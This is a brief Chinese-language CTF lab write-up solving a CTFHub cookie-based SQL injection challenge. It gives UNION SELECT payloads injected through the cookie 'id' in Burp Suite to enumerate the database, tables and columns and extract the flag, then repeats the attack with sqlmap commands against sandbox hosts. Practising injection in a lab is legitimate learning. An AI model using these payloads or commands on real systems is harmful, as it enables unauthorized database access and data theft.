2021-11-08

cookie注入

Burpsuite手动注入 ● 先创造环境，再用burp suite抓包

 

● 将点击action-send to repeater,得到ID=1

 

 

● 在cookie中注入id=123+union+select+database(),2#，找到数据库；得到ID：sqli

 

 

● 再注入id=123 union select group_concat(table_name),2 from information_schema.tables where table_schema= 'sqli' # ;得到数据表名：ejptyugwdy。

 

● 再注入id=123+union+select+group_concat(column_name),2 from information_schema.columns where table_schema= 'sqli'and table_name ='ejptyugwdy' # ，得到数据的列名：rpuszfctgg

 

● 在注入id=123+union+select+group_concat(rpuszfctgg),2 from ejptyugwdy #；

● 最终得到flag：ctfhub{aedfb2dce32cf14f8fc1e5f7}

 

SQLMap

● 输入python sqlmap.py -u "http://challenge- 4392a73ca055fbc7.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli --tables --level 2 找到数据库

 

 

● 在输入python sqlmap.py -u “http://challenge- 29a5a9149c0bf502.sandbox.ctfhub.com:10800/” --cookie "id=1" -D sqli --tables --level 2 得到数据库sqli的表名;spmvpdbdwv

 

● 在输入python sqlmap.py -u "http://challenge- 29a5a9149c0bf502.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli -T spmvpdbdwv - -columns --dump --level 2最后得到flag:ctfhub{8c8cac632267f16a5db2f6d0}